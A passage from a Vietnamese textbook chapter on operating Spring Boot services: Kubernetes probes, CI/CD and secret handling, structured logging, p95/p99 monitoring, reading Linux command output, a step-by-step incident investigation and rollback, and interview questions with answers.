Giải thích: khi có startupProbe, Kubernetes tạm hoãn liveness và readiness cho tới khi startup probe thành công lần đầu. Ứng dụng có tối đa 180 giây để khởi động; lần deploy này xong ở giây 90, startup probe thành công, từ đó liveness mới bắt đầu hỏi mỗi 10 giây và phát hiện treo nhanh như trước. Tăng initialDelaySeconds của liveness lên 120 cũng chạy được, nhưng mỗi khi process treo thật sau này, Kubernetes phải chờ lâu hơn mới phát hiện; và lần deploy sau migration cần 150 giây thì lại hỏng. Về lâu dài, migration nặng nên chạy như một Job riêng trước khi deploy, không chặn việc khởi động ứng dụng.
11.4 CI/CD, config và secret
Pipeline điển hình: checkout → build và unit test → static analysis (SonarQube), quét dependency → integration test (Testcontainers) → build image, gắn tag theo commit SHA → push registry → deploy staging → smoke test → deploy production (thủ công hoặc tự động) theo rolling hoặc canary.
Một image chạy mọi môi trường; khác biệt nằm ở cấu hình. Cấu hình thường đưa qua biến môi trường hoặc ConfigMap (Spring Boot tự ánh xạ SPRING_DATASOURCE_URL sang spring.datasource.url). Secret đặt ở Kubernetes Secret, Vault hoặc secret manager của cloud, không bao giờ commit vào Git; nếu lỡ commit thì phải đổi secret, xóa khỏi lịch sử là chưa đủ.
Ví dụ: cùng một image order-service:1.4.2 chạy ở staging và production, chỉ khác biến môi trường khi khởi động.
	# staging
docker run -e SPRING_PROFILES_ACTIVE=staging \
           -e SPRING_DATASOURCE_URL=jdbc:postgresql://staging-db:5432/orders \
           order-service:1.4.2
# production: same image, different config; the password comes from a secret store
docker run -e SPRING_PROFILES_ACTIVE=prod \
           -e SPRING_DATASOURCE_URL=jdbc:postgresql://prod-db:5432/orders \
           -e SPRING_DATASOURCE_PASSWORD="$(cat /run/secrets/db_password)" \
           order-service:1.4.2



Giải thích: Spring Boot đổi tên biến môi trường theo quy tắc chữ hoa, dấu gạch dưới thành dấu chấm, nên SPRING_DATASOURCE_URL ghi đè spring.datasource.url trong application.yml. Vì image giống hệt nhau, thứ đã test ở staging chính là thứ chạy ở production; nếu build lại image riêng cho production, bạn đang deploy một thứ chưa từng được test. Mật khẩu được đọc từ file secret lúc chạy, không nằm trong image hay trong Git. Trên Kubernetes, phần -e này được khai báo bằng env lấy từ ConfigMap và Secret.
11.5 Logging
	NHẮC LẠI KIẾN THỨC
MDC dựa trên ThreadLocal: mỗi thread có bản sao biến riêng, và vì thread trong pool được tái sử dụng nên phải dọn sau mỗi lần dùng, nếu không dữ liệu rò sang request sau (xem mục 3.9). Thread pool và @Async ở mục 3.6.



Dùng SLF4J làm API, Logback là implementation mặc định của Spring Boot. Quy ước log level:
	Level
	Dùng khi

	ERROR
	Lỗi cần người xử lý, request thất bại

	WARN
	Bất thường nhưng hệ thống tự xoay xở được (retry, fallback)

	INFO
	Sự kiện nghiệp vụ quan trọng: đơn tạo, job bắt đầu/kết thúc

	DEBUG
	Chi tiết để debug, tắt trên production



Khi hàng trăm request chạy song song, log của chúng xen kẽ nhau và không biết dòng nào thuộc request nào. Filter dưới đây gắn cho mỗi request một id và đưa id đó vào mọi dòng log.
	@Component
public class CorrelationIdFilter extends OncePerRequestFilter {
    @Override
    protected void doFilterInternal(HttpServletRequest req, HttpServletResponse res,
                                    FilterChain chain) throws ServletException, IOException {
        // reuse the caller's id (gateway, other service) or generate a new one
        String id = Optional.ofNullable(req.getHeader("X-Correlation-Id"))
                .orElse(UUID.randomUUID().toString());
        MDC.put("correlationId", id);          // stored in the ThreadLocal of the request thread
        res.setHeader("X-Correlation-Id", id); // returned to the client so it can report errors with the id
        try {
            chain.doFilter(req, res);
        } finally {
            MDC.remove("correlationId"); // threads are reused, must clean up
        }
    }
}



Giải thích: với pattern log có %X{correlationId}, mọi dòng log phát ra trong lúc xử lý request (controller, service, repository) đều mang cùng một id, ví dụ [c1f3...] Order 42 created. Khi khách hàng báo lỗi và gửi kèm id trong response header, bạn lọc log theo id đó là thấy toàn bộ câu chuyện. MDC dựa trên ThreadLocal, và Tomcat dùng thread pool: nếu thiếu khối finally, request tiếp theo chạy trên cùng thread sẽ mang id cũ, log bị gán nhầm request. Cũng vì dựa trên ThreadLocal nên id không tự đi theo sang @Async hay CompletableFuture (xem câu hỏi đào sâu ở mục 11.9).
Nếu đã dùng Micrometer Tracing thì traceId và spanId được đưa vào MDC tự động, không cần tự viết filter. Trên production nên log dạng JSON để Elasticsearch/Loki lọc theo field; Spring Boot 3.4 hỗ trợ sẵn qua logging.structured.format.console=ecs (hoặc logstash).
1. Dùng placeholder: log.info("Order {} created", orderId), không nối chuỗi.
1. Log exception kèm stacktrace: log.error("Payment failed for order {}", orderId, ex).
1. Không log mật khẩu, token, số thẻ, CCCD, OTP; che bớt số điện thoại và email.
1. Không log cùng một exception ở mọi tầng rồi ném tiếp, một lỗi thành 5 stacktrace.
Một dòng log JSON có traceId trông như thế nào
Log có cấu trúc (structured log) nghĩa là mỗi dòng log là một object JSON với các field có tên, thay vì một chuỗi văn bản tự do. traceId là mã định danh của cả một yêu cầu đi xuyên qua nhiều service; spanId là mã của một đoạn công việc bên trong yêu cầu đó (một lần gọi HTTP, một query). Dưới đây là một dòng log lỗi do Spring Boot 3.4 in ra với logging.structured.format.console=ecs và Micrometer Tracing, được xuống dòng cho dễ đọc (trong file thật nó nằm trên đúng một dòng):
	{
  "@timestamp": "2026-09-24T02:13:07.412Z",
  "log.level": "ERROR",
  "service.name": "order-service",
  "process.thread.name": "http-nio-8080-exec-7",
  "log.logger": "com.shop.order.PaymentService",
  "message": "Payment failed for order 42",
  "traceId": "4bf92f3577b34da6a3ce929d0e0e4736",
  "spanId": "00f067aa0ba902b7",
  "orderId": "42",
  "error.type": "java.net.SocketTimeoutException",
  "error.message": "Read timed out",
  "error.stack_trace": "java.net.SocketTimeoutException: Read timed out\n\tat ..."
}



Giải thích: mỗi field trả lời một câu hỏi khi điều tra: lúc nào (@timestamp, theo UTC nên 02:13Z là 09:13 giờ Việt Nam), nghiêm trọng thế nào (log.level), ở đâu (service.name, log.logger, thread), chuyện gì (message, error.*), thuộc yêu cầu nào (traceId). Vì là JSON, hệ thống log tập trung lọc được chính xác traceId = "4bf92f..." để lấy mọi dòng log của yêu cầu này ở tất cả service (gateway, order, payment), thay vì grep chuỗi mơ hồ. Field orderId là field nghiệp vụ tự thêm (qua MDC hoặc structured argument), cho phép hỏi "mọi log liên quan đơn 42". Trên máy chủ không có hệ thống tập trung, jq đọc được file này: jq 'select(.traceId == "4bf92f3577b34da6a3ce929d0e0e4736") | .message' app.log.
Cặp code sai/sửa dưới đây gom các lỗi log hay gặp nhất khi review:
	import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
 
class PaymentLogging {
    private static final Logger log = LoggerFactory.getLogger(PaymentLogging.class);
 
    void bad(long orderId, String cardNumber, Exception ex) {
        log.debug("Paying order " + orderId + " with card " + cardNumber); // concat + sensitive data
        log.error("Payment failed: " + ex.getMessage());                   // stack trace lost
    }
 
    void good(long orderId, String cardNumber, Exception ex) {
        log.debug("Paying order {} with card ****{}", orderId, cardNumber.substring(cardNumber.length() - 4));
        log.error("Payment failed for order {}", orderId, ex);             // exception as the last argument
    }
}



Giải thích: ở bad, dòng đầu nối chuỗi nên chuỗi được dựng kể cả khi DEBUG đang tắt (tốn CPU vô ích ở đường nóng), và in nguyên số thẻ, vi phạm PCI DSS; dòng hai chỉ log message, mất stacktrace nên không biết lỗi ở dòng code nào. Ở good, placeholder {} chỉ ghép chuỗi khi level đang bật, số thẻ chỉ còn 4 số cuối, và exception truyền làm tham số cuối cùng nên SLF4J in đầy đủ stacktrace (không cần {} cho nó).
11.6 Monitoring và alert
1. Metrics: Micrometer đo, Actuator lộ ra /actuator/prometheus, Prometheus thu thập, Grafana vẽ dashboard. Theo dõi tối thiểu: request rate, error rate, latency p95/p99, JVM heap, GC pause, số connection trong HikariCP, consumer lag của Kafka.
1. Logs: ELK (Elasticsearch, Logstash, Kibana) hoặc EFK (Fluentd/Fluent Bit thay Logstash), hoặc Loki.
1. Traces: OpenTelemetry gửi về Jaeger hoặc Tempo.
1. Alert theo triệu chứng người dùng cảm nhận (error rate vượt 2% trong 5 phút, p99 vượt 1 giây) thay vì theo mọi chỉ số; alert nào không cần hành động thì bỏ, nếu không cả team sẽ quen tắt thông báo.
p95, p99 giải thích bằng dãy số cụ thể
Percentile (phân vị) p95 là giá trị mà 95% số request nhanh hơn hoặc bằng nó; p99 tương tự với 99%. Nói cách khác, p99 = 800ms nghĩa là cứ 100 request thì có khoảng 1 request chậm hơn 800ms. Đoạn code dưới đây tính các chỉ số này cho 20 request có thời gian phản hồi (mili giây) như sau.
	import java.util.Arrays;
 
public class PercentileDemo {
    // Nearest-rank percentile: the value at position ceil(p/100 * n) in the sorted array
    static long percentile(long[] sorted, double p) {
        int rank = (int) Math.ceil(p / 100.0 * sorted.length);
        return sorted[rank - 1];
    }
 
    public static void main(String[] args) {
        long[] ms = {110, 95, 2400, 80, 120, 100, 150, 90, 125, 900,
                     85, 105, 115, 130, 95, 140, 90, 110, 120, 100};
        Arrays.sort(ms);
        System.out.println(Arrays.toString(ms));
        // prints: [80, 85, 90, 90, 95, 95, 100, 100, 105, 110, 110, 115, 120, 120, 125, 130, 140, 150, 900, 2400]
        System.out.println("avg = " + Arrays.stream(ms).average().getAsDouble()); // prints: avg = 263.0
        System.out.println("p50 = " + percentile(ms, 50)); // prints: p50 = 110
        System.out.println("p95 = " + percentile(ms, 95)); // prints: p95 = 900
        System.out.println("p99 = " + percentile(ms, 99)); // prints: p99 = 2400
    }
}



Giải thích: sau khi sắp xếp, p50 (trung vị) là phần tử thứ 10 = 110ms: một nửa số request nhanh hơn thế, đó là trải nghiệm "điển hình". p95 là phần tử thứ ceil(0,95 x 20) = 19, tức 900ms; p99 là phần tử thứ 20, tức 2400ms. Trung bình 263ms là con số gây hiểu lầm: không request nào thực sự mất khoảng 263ms, 18 request nhanh dưới 150ms còn 2 request rất chậm kéo trung bình lên. Nếu chỉ nhìn trung bình, bạn vừa thấy "hệ thống ổn" (263ms) vừa bỏ lỡ việc 1 trên 20 người dùng chờ gần 1 giây, 1 trên 20 chờ 2,4 giây. Những request chậm đó thường là của khách có giỏ hàng lớn hoặc dữ liệu nhiều, tức là khách quan trọng. Vì vậy alert và SLO đặt trên p95/p99, không đặt trên trung bình.
Trong thực tế bạn không tự tính như trên mà để Micrometer ghi histogram và Prometheus tính:
	# application.yml: publish histogram buckets for HTTP server requests
management:
  metrics:
    distribution:
      percentiles-histogram:
        http.server.requests: true



Giải thích: với cấu hình này, /actuator/prometheus xuất các bucket http_server_requests_seconds_bucket{le="0.1"}, {le="0.5"}..., đếm số request nhanh hơn mỗi ngưỡng. Prometheus tính p99 trong 5 phút gần nhất bằng truy vấn histogram_quantile(0.99, sum by (le) (rate(http_server_requests_seconds_bucket[5m]))). Vì tính từ bucket, kết quả là giá trị xấp xỉ, nhưng cộng gộp được qua nhiều pod, điều mà percentile tính sẵn ở từng pod không làm được (không thể lấy trung bình của các p99).
11.7 Linux cho backend developer
	NHẮC LẠI KIẾN THỨC
Các lệnh Git và Linux cơ bản ở mức Fresher có ở N2.13; công cụ chẩn đoán JVM (jcmd, jstack, jstat) và quy trình khi CPU 100% hoặc OOM ở mục 2.5 và 2.6. Mục này tập trung vào cách đọc output của từng lệnh.



Output mẫu và cách đọc
tail và grep: tìm lỗi trong log. tail -n 3 in 3 dòng cuối file; grep -n in kèm số dòng, -A 3 in thêm 3 dòng sau mỗi dòng khớp, -c chỉ đếm số dòng khớp.
	$ tail -n 3 app.log
2026-09-24 09:13:07.101 INFO  [4bf92f35] c.s.o.OrderController : POST /orders
2026-09-24 09:13:07.412 ERROR [4bf92f35] c.s.o.PaymentService  : Payment failed for order 42
2026-09-24 09:13:07.415 WARN  [4bf92f35] c.s.o.OrderService    : Order 42 marked PAYMENT_PENDING
$ grep -c "ERROR" app.log
37
$ grep -n -A 3 "SocketTimeoutException" app.log | head -4
18233:java.net.SocketTimeoutException: Read timed out
18234-    at java.base/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:278)
18235-    at java.base/java.net.SocketInputStream.read(SocketInputStream.java:...)
18236-    at com.shop.order.VnpayClient.charge(VnpayClient.java:57)



Cách đọc: ba dòng cuối cùng một traceId 4bf92f35 kể lại một câu chuyện: nhận request, thanh toán lỗi, đơn chuyển trạng thái chờ. Có 37 dòng ERROR trong file. Ở output grep -n -A, dòng khớp có dấu : sau số dòng (18233:), dòng ngữ cảnh có dấu - (18234-). Đọc stacktrace từ trên xuống, dòng đầu tiên thuộc package của bạn (com.shop.order.VnpayClient.charge, dòng 57) là chỗ cần xem code.
top: CPU và RAM theo tiến trình.
	$ top -b -n 1 | head -8
top - 09:20:11 up 41 days,  3:02,  1 user,  load average: 7.85, 7.62, 5.10
Tasks: 142 total,   1 running, 141 sleeping,   0 stopped,   0 zombie
%Cpu(s): 96.3 us,  2.1 sy,  0.0 ni,  1.2 id,  0.4 wa,  0.0 hi,  0.0 si,  0.0 st
MiB Mem :  7976.4 total,    212.5 free,   6920.1 used,    843.8 buff/cache
MiB Swap:      0.0 total,      0.0 free,      0.0 used.    801.3 avail Mem
 
    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND
  21873 spring    20   0 5812344   4.9g  24576 S 385.0  63.1 912:45.02 java



Cách đọc: load average là số tiến trình đang chạy hoặc chờ CPU trung bình trong 1, 5, 15 phút; máy 4 core mà load 7,85 nghĩa là quá tải, và con số 1 phút cao hơn 15 phút nghĩa là tình hình đang xấu đi. %Cpu(s): us 96,3% là CPU dùng cho code ứng dụng, id 1,2% là gần như không còn rảnh, wa thấp nên không phải do chờ đĩa. Dòng tiến trình: %CPU 385 nghĩa là java đang dùng gần hết 4 core (100% cho mỗi core), RES 4.9g là RAM thật đang dùng. Bước tiếp theo là top -H -p 21873 tìm thread nóng (mục 2.6).
ps: tìm tiến trình và tham số khởi động.
	$ ps aux | grep [j]ava
spring   21873  385  63.1 5812344 5138224 ?  Ssl  Aug14 912:45 java -XX:MaxRAMPercentage=75 -jar order-service.jar



Cách đọc: cột 2 là PID (21873), dùng cho jcmd, kill, top -p. Cột cuối cho biết lệnh khởi động đầy đủ, rất hữu ích để kiểm tra JVM đang chạy với tham số gì. Mẹo [j]ava giúp dòng của chính lệnh grep không lọt vào kết quả.
ss: cổng nào đang lắng nghe.
	$ ss -tlnp
State   Recv-Q  Send-Q   Local Address:Port   Peer Address:Port  Process
LISTEN  0       100            0.0.0.0:8080        0.0.0.0:*      users:(("java",pid=21873,fd=45))
LISTEN  0       4096         127.0.0.1:5432        0.0.0.0:*      users:(("postgres",pid=1022,fd=6))



Cách đọc: -t TCP, -l chỉ socket đang lắng nghe, -n hiện số cổng thay vì tên, -p hiện tiến trình. Java PID 21873 nghe cổng 8080 trên mọi địa chỉ (0.0.0.0), nên máy khác gọi vào được. PostgreSQL chỉ nghe 127.0.0.1:5432, tức là chỉ nhận kết nối từ chính máy này; nếu service ở máy khác báo Connection refused tới DB thì đây là lý do. Khi ứng dụng báo Address already in use lúc khởi động, lệnh này cho biết tiến trình nào đang giữ cổng.
df và du: đĩa đầy ở đâu.
	$ df -h
Filesystem      Size  Used Avail Use% Mounted on
/dev/nvme0n1p1   50G   50G     0 100% /
/dev/nvme1n1    200G   61G  139G  31% /data
$ sudo du -sh /var/log/* | sort -rh | head -3
38G     /var/log/order-service
1.2G    /var/log/journal
84M     /var/log/nginx



Cách đọc: df -h cho thấy phân vùng gốc / đã dùng 100%, còn /data còn trống 139G; -h in đơn vị dễ đọc (G, M). du -sh tính dung lượng từng thư mục, sort -rh sắp xếp giảm dần theo đơn vị dễ đọc: thủ phạm là 38G log của order-service, dấu hiệu thiếu cấu hình xoay vòng log (rolling) hoặc log DEBUG trên production.
chmod và ls -l: quyền file.
	$ ls -l deploy.sh app.yml
-rw-r--r-- 1 spring spring  812 Sep 24 09:00 deploy.sh
-rw-r--r-- 1 spring spring 2048 Sep 24 09:00 app.yml
$ chmod +x deploy.sh && chmod 640 app.yml && ls -l deploy.sh app.yml
-rwxr-xr-x 1 spring spring  812 Sep 24 09:00 deploy.sh
-rw-r----- 1 spring spring 2048 Sep 24 09:00 app.yml



Cách đọc: chuỗi -rw-r--r-- gồm ký tự loại file rồi ba nhóm quyền cho chủ sở hữu, nhóm, người khác; r đọc, w ghi, x thực thi. Sau chmod +x, cả ba nhóm có thêm x nên chạy được ./deploy.sh. 640 là cách viết số: 6 = rw- cho chủ, 4 = r-- cho nhóm, 0 = --- cho người khác, phù hợp với file cấu hình chứa thông tin nhạy cảm.
export và echo: biến môi trường.
	$ export APP_ENV=prod
$ echo $APP_ENV
prod
$ bash -c 'echo "child sees: $APP_ENV"'
child sees: prod
$ APP_MODE=debug; bash -c 'echo "child sees: [$APP_MODE]"'
child sees: []



Cách đọc: biến được export thì tiến trình con (ở đây là một bash mới) nhìn thấy; biến gán không có export chỉ tồn tại trong shell hiện tại, tiến trình con thấy chuỗi rỗng. Đây là lý do một biến bạn vừa đặt mà ứng dụng Java khởi động từ script vẫn "không thấy": thiếu export.
	Lệnh
	Dùng để

	tail -f app.log, tail -n 200 app.log
	Theo dõi log trực tiếp, xem 200 dòng cuối

	less app.log
	Đọc file lớn, / tìm, Shift+G xuống cuối, F theo dõi như tail -f

	grep -n "ERROR" app.log, grep -A 20 "Exception"
	Tìm dòng lỗi, kèm 20 dòng sau để xem stacktrace

	top, htop
	CPU, RAM theo process

	ps aux, grep java
	Tìm process và PID

	ss -tlnp (thay netstat -tlnp)
	Cổng nào đang lắng nghe, process nào giữ

	df -h, du -sh *
	Dung lượng đĩa còn trống, thư mục nào chiếm chỗ

	chmod +x deploy.sh, chmod 640 app.yml
	Cấp quyền thực thi, giới hạn quyền đọc

	export APP_ENV=prod, echo $APP_ENV
	Đặt và đọc biến môi trường trong phiên hiện tại



Bốn lệnh dưới đây là những thao tác hay bị hỏi nhất: chạy một script deploy, đặt biến môi trường lâu dài và lấy thread dump khi ứng dụng Java có vấn đề.
	chmod +x deploy.sh && ./deploy.sh      # make executable then run; script starts with #!/usr/bin/env bash
bash deploy.sh                         # or name the shell explicitly
echo 'export JAVA_HOME=/opt/jdk-21' >> ~/.bashrc && source ~/.bashrc   # persistent environment variable
jcmd <pid> Thread.print > threads.txt  # thread dump when Java burns CPU or hangs



Giải thích:
1. Dòng 1: chmod +x thêm quyền thực thi; && chỉ chạy lệnh sau khi lệnh trước thành công; ./deploy.sh chạy script bằng trình thông dịch ghi ở dòng shebang. Thiếu quyền thực thi, bạn sẽ gặp Permission denied.
1. Dòng 2: gọi thẳng bash thì không cần quyền thực thi và chắc chắn script chạy bằng bash, kể cả khi sh trên máy là dash.
1. Dòng 3: export chỉ có hiệu lực trong phiên shell hiện tại và các tiến trình con; ghi vào ~/.bashrc để mọi phiên mới đều có biến, source để áp dụng ngay mà không cần đăng nhập lại.
1. Dòng 4: jcmd in stack của mọi thread ra file. Nên chụp 2–3 lần cách nhau vài giây: thread nào lần nào cũng đứng ở cùng một dòng code là chỗ đang ngốn CPU hoặc đang bị chặn.
	GHI CHÚ
Một số bộ câu hỏi cũ trả lời "chạy script bằng lệnh sh". Trên nhiều hệ thống sh là dash chứ không phải bash, nên script dùng cú pháp bash sẽ lỗi. Lệnh đặt biến là export (chữ thường), và muốn giữ lâu dài phải ghi vào file profile.



11.8 Kịch bản xử lý sự cố
API chậm đột ngột
1. Xác định phạm vi: một endpoint hay tất cả, một pod hay mọi pod, bắt đầu từ lúc nào, có trùng với deploy hoặc đợt traffic nào không.
1. Nhìn dashboard: latency p99, CPU, GC pause, HikariCP (active, pending), DB slow query, thời gian gọi service ngoài trên trace.
1. Các nguyên nhân hay gặp: connection pool cạn vì query chậm hoặc transaction dài; một dependency chậm mà không có timeout; GC liên tục vì heap gần đầy; thiếu index sau khi dữ liệu tăng; cache hết hạn đồng loạt.
1. Giảm thiệt hại trước (scale thêm pod, tắt tính năng bằng feature flag, bật circuit breaker), rồi thu thập bằng chứng (thread dump, heap dump, slow query log) trước khi restart làm mất dấu vết.
Đi từng bước: p99 của API đặt hàng tăng từ 300ms lên 8 giây
Tình huống: 20:05 tối, alert báo p99 của POST /orders vượt 1 giây trong 5 phút, error rate 12%. Dưới đây là các bước tôi làm, mỗi bước có lệnh, kết quả và kết luận rút ra.
Bước 1: xác định phạm vi. Mọi pod đều bị hay chỉ một pod? Có deploy gần đây không?
	$ kubectl get pods -l app=order-service
NAME                             READY   STATUS    RESTARTS   AGE
order-service-6c8d7f9b4-2hxkq    1/1     Running   0          3d
order-service-6c8d7f9b4-9zqvw    1/1     Running   0          3d
order-service-6c8d7f9b4-tm5rc    1/1     Running   0          3d
$ kubectl rollout history deployment/order-service | tail -2
3         Deploy 1.4.1
4         Deploy 1.4.2



Kết luận: ba pod đều chạy 3 ngày, không restart, bản 1.4.2 đã deploy từ 3 ngày trước. Sự cố không trùng deploy, nên rollback chưa phải lựa chọn đầu tiên. Dashboard cho thấy cả ba pod cùng chậm, tức là vấn đề nằm ở thứ chúng dùng chung: DB, cache, hoặc service bên ngoài.
Bước 2: đọc log lỗi.
	$ kubectl logs order-service-6c8d7f9b4-2hxkq --since=10m | grep -c ERROR
214
$ kubectl logs order-service-6c8d7f9b4-2hxkq --since=10m | grep ERROR | tail -1
2026-09-24 20:07:41.018 ERROR [9a1c77e2] c.s.o.OrderService : Create order failed
org.springframework.jdbc.CannotGetJdbcConnectionException: Failed to obtain JDBC Connection
Caused by: java.sql.SQLTransientConnectionException: HikariPool-1 - Connection is not available, request timed out after 30000ms (total=20, active=20, idle=0, waiting=57)



Kết luận: request không lấy được connection DB. total=20, active=20, idle=0, waiting=57: cả 20 connection trong pool đều đang bận, 57 thread đang xếp hàng chờ. Pool cạn không phải nguyên nhân gốc; câu hỏi tiếp theo là 20 connection đó đang bận làm gì.
Bước 3: xem connection đang làm gì ở phía DB.
	$ psql -h prod-db -U readonly -d orders -c "SELECT pid, now() - query_start AS running, state, left(query, 60) AS query FROM pg_stat_activity WHERE datname = 'orders' AND state <> 'idle' ORDER BY running DESC LIMIT 3;"
  pid  |     running     | state  |                            query
-------+-----------------+--------+--------------------------------------------------------------
 48211 | 00:00:28.91     | active | SELECT o.* FROM orders o WHERE o.customer_phone = $1 AND o.s
 48219 | 00:00:27.40     | active | SELECT o.* FROM orders o WHERE o.customer_phone = $1 AND o.s
 48230 | 00:00:26.02     | active | SELECT o.* FROM orders o WHERE o.customer_phone = $1 AND o.s



Kết luận: hàng loạt câu query tìm đơn theo customer_phone chạy gần 30 giây mỗi câu. Mỗi request đặt hàng giữ một connection suốt thời gian đó, nên pool 20 connection cạn ngay.
Bước 4: giảm thiệt hại trước. Query này thuộc tính năng "kiểm tra khách đặt trùng đơn" vừa được bật qua feature flag lúc 20:00, đúng lúc chiến dịch khuyến mãi bắt đầu. Tắt flag trước để khách đặt được hàng, và chụp bằng chứng trước khi mọi thứ thay đổi.
	# capture evidence first: thread dump of one affected pod
kubectl exec order-service-6c8d7f9b4-2hxkq -- jcmd 1 Thread.print > threads-2005.txt
grep -c "HikariPool.getConnection" threads-2005.txt
# output: 57
# then mitigate: turn the feature off
curl -X POST https://flags.internal/api/flags/duplicate-order-check -d '{"enabled": false}'



Kết luận: thread dump xác nhận 57 thread đang đứng chờ ở HikariPool.getConnection, khớp với con số waiting=57 trong log. Sau khi tắt flag, 2 phút sau p99 quay về 320ms, error rate về 0,1%. Người dùng hết bị ảnh hưởng; giờ mới điều tra nguyên nhân gốc mà không bị áp lực thời gian.
Bước 5: tìm nguyên nhân gốc và sửa.
	orders=> EXPLAIN SELECT * FROM orders WHERE customer_phone = '0901234567' AND status = 'NEW';
 Seq Scan on orders  (cost=0.00..412893.00 rows=3 width=312)
   Filter: (((customer_phone)::text = '0901234567'::text) AND ((status)::text = 'NEW'::text))



Kết luận: Seq Scan nghĩa là PostgreSQL đọc toàn bộ bảng orders (khoảng 12 triệu dòng) cho mỗi câu query vì cột customer_phone không có index. Trên staging bảng chỉ có vài nghìn dòng nên không ai thấy chậm. Sửa: thêm index CREATE INDEX CONCURRENTLY idx_orders_phone_status ON orders (customer_phone, status); qua migration, chạy lại EXPLAIN thấy Index Scan, rồi mới bật lại flag cho 10% người dùng và theo dõi. Action item cho postmortem: kiểm tra EXPLAIN cho query mới trong code review, đặt statement_timeout cho DB user của ứng dụng, alert khi hikaricp_connections_pending lớn hơn 0 trong 1 phút.
500 hàng loạt ngay sau deploy
Rollback trước, điều tra sau. Khi thời điểm lỗi trùng với deploy, cách nhanh nhất để người dùng hết bị ảnh hưởng là quay về phiên bản trước (kubectl rollout undo hoặc deploy lại tag cũ), rồi mới đọc log theo traceId, so sánh diff, tái hiện ở staging. Điều kiện để rollback được: image có tag rõ ràng và migration DB tương thích ngược (thêm cột mới trước, xóa cột cũ ở lần deploy sau).
Các bước rollback cụ thể trên Kubernetes, với output mẫu:
	$ kubectl rollout history deployment/order-service
REVISION  CHANGE-CAUSE
4         Deploy 1.4.2
5         Deploy 1.5.0
$ kubectl rollout undo deployment/order-service
deployment.apps/order-service rolled back
$ kubectl rollout status deployment/order-service
Waiting for deployment "order-service" rollout to finish: 2 of 3 updated replicas are available...
deployment "order-service" successfully rolled out
$ kubectl get deployment order-service -o jsonpath='{.spec.template.spec.containers[0].image}'
registry.example.com/order-service:1.4.2



Giải thích: rollout history cho thấy revision 5 (bản 1.5.0) là bản vừa deploy. rollout undo không có tham số quay về revision liền trước (4); muốn chọn revision cụ thể dùng --to-revision=4. rollout status chờ tới khi mọi pod mới sẵn sàng, dòng successfully rolled out nghĩa là rollback xong. Lệnh cuối xác nhận image đang chạy đúng là 1.4.2. Sau đó mở dashboard kiểm tra error rate đã về mức bình thường chưa, rồi mới bắt đầu điều tra bản 1.5.0.
Postmortem
Sau sự cố viết postmortem không đổ lỗi (blameless): dòng thời gian, ảnh hưởng (bao nhiêu user, bao lâu), nguyên nhân gốc (hỏi "tại sao" nhiều lần), điều gì giúp phát hiện và khắc phục, và các action item có người chịu trách nhiệm và hạn chót. Mục tiêu là sửa hệ thống và quy trình, không phải tìm người để trách.
11.9 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Cơ bản): Merge và rebase khác nhau thế nào? Bạn dùng cái nào?
Merge giữ nguyên lịch sử và tạo merge commit; rebase viết lại commit của tôi lên đầu nhánh đích cho lịch sử thẳng. Tôi rebase nhánh cá nhân theo main trước khi mở PR, còn gộp vào nhánh chung thì dùng merge hoặc squash merge theo quy ước team. Không rebase nhánh đã chia sẻ.
	BẪY THƯỜNG GẶP
Dùng git reset --hard rồi git push --force trên nhánh chung để "xóa commit lỗi". Commit đã lên nhánh chung thì dùng git revert.



Câu hỏi (Hiểu sâu): Readiness và liveness probe khác nhau thế nào?
Readiness quyết định pod có nhận traffic không, fail thì bị rút khỏi Service; liveness quyết định pod có bị restart không. Kiểm tra dependency như DB chỉ nên nằm ở readiness, nếu có. Liveness chỉ nên phản ánh chính process có bị treo không.
	CÂU HỎI ĐÀO SÂU
Pod Spring Boot bị restart liên tục lúc khởi động là vì sao? Thường vì liveness bắt đầu kiểm tra trước khi ứng dụng khởi động xong; dùng startupProbe hoặc tăng initialDelaySeconds.



Câu hỏi (Thực chiến): Bạn viết Dockerfile cho Spring Boot như thế nào?
Multi-stage: stage build với JDK, stage chạy với JRE. Tách layer dependency và application để tận dụng cache, chạy bằng user không phải root, đặt MaxRAMPercentage để JVM tôn trọng giới hạn bộ nhớ container, tag image theo commit SHA thay vì latest.
	BẪY THƯỜNG GẶP
COPY . . rồi build trong một stage duy nhất: image nặng, chứa cả mã nguồn và công cụ build, đổi một dòng code là tải lại toàn bộ dependency.



Câu hỏi (Hiểu sâu): Log thế nào cho tốt trên production?
Log có cấu trúc JSON, mỗi dòng có traceId qua MDC, dùng đúng level, log sự kiện nghiệp vụ quan trọng ở INFO, exception log một lần kèm stacktrace ở nơi xử lý. Không log dữ liệu nhạy cảm. Log tập trung về ELK hoặc Loki để tìm theo traceId.
	CÂU HỎI ĐÀO SÂU
MDC có đi theo sang @Async hay CompletableFuture không? Không, vì MDC dựa trên ThreadLocal. Cần TaskDecorator sao chép MDC hoặc dùng context propagation của Micrometer.



Câu hỏi (Thực chiến): Làm sao tìm lỗi trong file log 2 GB trên server?
Không mở bằng editor. Dùng grep -n "ERROR" app.log | tail để tìm dòng lỗi gần nhất, grep -A 30 để xem stacktrace, lọc theo traceId nếu có, less để đọc quanh vị trí đó, tail -f để theo dõi khi tái hiện. Tốt nhất là log đã được đẩy về hệ thống tập trung.
Câu hỏi (Thực chiến): Sau khi deploy, error rate tăng vọt. Bạn làm gì?
Báo cho team và kênh sự cố, rollback về phiên bản trước ngay vì thời điểm trùng deploy, xác nhận error rate trở lại bình thường. Sau đó mới điều tra: log theo traceId, diff giữa hai phiên bản, thay đổi cấu hình và migration. Cuối cùng viết postmortem và bổ sung test hoặc alert để lần sau phát hiện sớm hơn.
	BẪY THƯỜNG GẶP
Cố sửa nóng trên production trong khi người dùng vẫn đang lỗi, hoặc restart mọi thứ trước khi lấy thread dump và log.



Câu hỏi (Thực chiến): Ứng dụng Java trên server dùng CPU 100%. Bạn điều tra thế nào?
Dùng top tìm PID, top -H -p <pid> tìm thread ngốn CPU, đổi thread id sang hex rồi đối chiếu trong thread dump (jcmd <pid> Thread.print) để thấy đoạn code đang chạy. Nếu thấy nhiều thread GC thì xem GC log và heap, khả năng là thiếu bộ nhớ hoặc rò rỉ bộ nhớ.
Câu hỏi (Cơ bản): git reset --soft, --mixed, --hard khác nhau thế nào? Cho ví dụ khi nào dùng mỗi loại.
